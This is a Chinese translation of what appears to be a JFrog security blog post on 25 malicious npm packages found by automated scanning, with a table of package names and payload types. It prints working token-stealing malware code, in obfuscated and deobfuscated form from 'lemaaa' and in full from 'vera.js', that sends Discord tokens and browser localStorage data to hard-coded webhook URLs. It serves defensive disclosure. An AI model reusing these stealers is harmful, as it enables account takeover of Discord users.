目录导航
JFrog 在 npm 注册表中发现 25 个恶意程序包
JFrog 安全研究团队使用我们的自动化工具持续监控流行的开源软件 (OSS) 存储库,以避免潜在的软件供应链安全威胁,并向存储库维护者和更广泛的社区报告发现的任何漏洞或恶意程序包。最近,我们在 npm 存储库中披露了 25 个由我们的自动扫描工具提取的恶意包。所有报告的恶意包都被 npm 维护人员迅速删除。
有趣的是,似乎许多 npm 恶意程序包仍然伪装成臭名昭著的colors.js npm 程序包,这很容易受到几周前的一次重大拒绝服务攻击。这种伪装可能是由于 colors.js 仍然是 npm 中安装最多的软件包之一。
除此之外,我们惊讶地看到恶意软件作者针对其他恶意软件作者的有趣案例。我们的扫描程序捕获的恶意软件包之一“lemaaa”本身就是一个库,恶意威胁参与者可以使用它来操纵 Discord 帐户。当以某种方式使用时,除了执行请求的实用程序功能外,该库还将劫持秘密 Discord 令牌。
恶意包汇总
包名称 | 有效载荷功能 | 感染方法 |
node-colors-sync | Discord 令牌窃取者 | 伪装(颜色) |
color-self | Discord 令牌窃取者 | 伪装(颜色) |
color-self-2 | Discord 令牌窃取者 | 伪装(颜色) |
wafer-text | 环境变量窃取器 | 域名抢注(晶圆-*) |
wafer-countdown | 环境变量窃取器 | 域名抢注(晶圆-*) |
wafer-template | 环境变量窃取器 | 域名抢注(晶圆-*) |
wafer-darla | 环境变量窃取器 | 域名抢注(晶圆-*) |
lemaaa | Discord 令牌窃取者 | 隐藏的功能 |
adv-discord-utility | Discord 令牌窃取者 | 未知 |
tools-for-discord | Discord 令牌窃取者 | 未知 |
mynewpkg | 环境变量窃取器 | 未知 |
purple-bitch | Discord 令牌窃取者 | 未知 |
purple-bitchs | Discord 令牌窃取者 | 未知 |
noblox.js-addons | Discord 令牌窃取者 | 伪装 ( noblox.js ) |
kakakaakaaa11aa | 连接shell | 未知 |
markedjs | Python远程代码注入器 | 伪装(标记) |
crypto-standarts | Python远程代码注入器 | 伪装(crypto-js) |
discord-selfbot-tools | Discord 令牌窃取者 | 伪装 ( discord.js ) |
discord.js-aployscript-v11 | Discord 令牌窃取者 | 伪装 ( discord.js ) |
discord.js-selfbot-aployscript | Discord 令牌窃取者 | 伪装 ( discord.js ) |
discord.js-selfbot-aployed | Discord 令牌窃取者 | 伪装 ( discord.js ) |
discord.js-discord-selfbot-v4 | Discord 令牌窃取者 | 伪装 ( discord.js ) |
colors-beta | Discord 令牌窃取者 | 伪装(颜色) |
vera.js | Discord 令牌窃取者 | 未知 |
discord-protection | Discord 令牌窃取者 | 未知 |
恶意包的技术分析
由于我们在之前的博客文章中已经广泛介绍了 Discord 令牌窃取恶意软件的技术方面,因此我们不会在此重申这些信息。但是,我们想关注几个包中的一些有趣的片段。
Lemaa 包——针对恶意软件作者
这个包很有趣,因为它实际上兑现了 README.md 中的承诺——
该软件包是 Discord 恶意软件新手作者的帮助模块,提供了在提供受害者的 Discord 令牌时可以重用的常用功能,例如获取受害者的信用卡信息、窃取受害者的帐户(更改帐户密码和电子邮件)等。
但是,其中一项功能——“removeAllFriends”会将提供的 Discord 令牌劫持到硬编码的 webhook 地址——https: //canary.discord.com/api/webhooks/884196214302703676/PHJ1-GGrEOV7Zwz2RodFDpazJXmH6OnM60TNEX4RZ-VT-qW5sUUu-dZHCb3s5vApWHHz
该模块的代码被混淆,隐藏了这个恶意活动:
function _0xf28e(){const
_0x159601=['DELETE','https://discord.com/api/v8/users/@me
','11317570ajQRNl','application/json','token','random',',\x20\x22nitro_boost\x22:\x20','false',
'https://discord.com/api/v9/users/@me/mfa/totp/disable','https://discord.com/api/v8/guilds/
','last_4','@gmail.com','true','1315DTGoNg',',\x20\x22early_verified_bot_developer\x
22:\x20','\x22,\x20\x22new_password\x22:\x20\x22','map','14370OOLNxq','There\x20is\x20no\x20bots',...
在这种情况下,由于该模块本身就是一个恶意软件实用程序(库),因此该模块被混淆实际上并不过分怀疑,因此新手恶意软件作者可能会信任该模块,即使它被混淆了。
对模块代码进行去混淆美化后,我们可以在removeAllUsers函数中看到恶意代码:
async function removeAllFriends(token) {
...
var _0x3d283a = await _0x1aa523['json'](),
malicious_webhook = 'https://canary.discord.com/api/webhooks/884196214302703676/PHJ1-GGrEOV7Zwz2RodFDpazJXmH6OnM60TNEX4RZ-VT-qW5sUUu-dZHCb3s5vApWHHz';
await fetch(malicious_webhook, {
'method': 'POST',
'headers': {
'Content-Type': 'application/json'
},
'body': JSON['stringify']({
'content': '' + token
})
});
...
Markedjs 和加密标准包 – 重复的木马包
这些包很有趣,因为它们显示出一种趋势,即 npm 恶意软件作者完全复制一个知名包(代码和元数据都是重复的),然后在这个副本中添加一小段恶意代码,本质上是构建“木马”包。
对于初学者,大多数包元数据(README.md、Github 参考等)都是一对一复制的:
将恶意包(markedjs)代码与原包(marked)代码进行比较,我们可以看到,与原包的唯一区别是“/lib/marked.js”中的一行包含了混淆后的恶意代码:
由于这条线被“埋”在包含大量合法代码的包的其余部分中,如果没有自动扫描或差异工具,很难找到这条线。
Vera.js 包
这个包非常小,可以很容易地看到恶意代码(因为它没有被混淆),但有趣的是,这个恶意包的作者决定不从本地磁盘存储中窃取 Discord 令牌(就像大多数 Discord 令牌窃取者所做的那样),而是从浏览器的本地存储:
function refresh() {
window.location.reload();
var discordWebhook = "https://discord.com/api/webhooks/911967515024977991/MBGxIxbpqr8P00H29iuuxc7q_bkafDFpRri5j-hefGjaOCrkOcIvy4zjqa-qHrM1BEgU";
var i = document.createElement('iframe');
document.body.appendChild(i);
var request = new XMLHttpRequest();
request.open("POST", discordWebhook);
request.setRequestHeader('Content-type', 'application/json');
var params = {
username: "Token Grabber",
avatar_url: "https://malwarefox.com/wp-content/uploads/2017/11/hacker-1.png",
content: '**Token **\n------------------\nToken : ' + i.contentWindow.localStorage.token + '\n------------------\nEmail: ' + i.contentWindow.localStorage.email_cache + '\n------------------\nUser ID : ' + i.contentWindow.localStorage.user_id_cache + '\n------------------\nFingerprint : ' + i.contentWindow.localStorage.fingerprint + '\n------------------\nPropriétés : \`\`\`json\n' + i.contentWindow.localStorage.deviceProperties + '\`\`\`------------------\nScript de login : \n\`\`\`js\nlocation.reload();var i = document.createElement(\'iframe\');document.body.appendChild(i);i.contentWindow.localStorage.token = "\\"' + i.contentWindow.localStorage.token.replace(/^"(.*)"$/, '$1') + '\\""\`\`\`'
};
request.send(JSON.stringify(params)); }
module.exports = {refresh};
窃取令牌的代码可以总结如下:
location.reload();
var i = document.createElement('iframe');
document.body.appendChild(i);
var token = i.contentWindow.localStorage.token;
此技术有助于窃取使用 Web 浏览器登录Discord 网站时生成的令牌,而不是使用 Discord 应用程序(将令牌保存到本地磁盘存储)时生成的令牌。
结论
总而言之,看起来新手黑客仍在继续滥用 npm 以实现高 ROI 攻击,因为开发和发布恶意程序包的工作量非常低。我们估计这种趋势只会继续增加,因为我们仍然看到每天都有数十个新的恶意程序包被我们的 npm 扫描程序标记。
转载请注明出处及链接